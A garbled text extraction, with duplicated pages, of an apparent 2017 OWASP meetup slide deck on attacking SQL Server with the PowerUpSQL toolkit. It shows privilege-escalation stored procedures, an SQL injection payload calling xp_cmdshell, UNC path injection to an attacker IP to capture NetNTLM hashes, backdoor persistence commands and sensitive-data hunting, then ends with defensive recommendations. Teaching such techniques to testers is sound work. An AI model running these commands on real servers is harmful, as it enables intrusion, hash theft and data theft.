6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 46: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 47: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

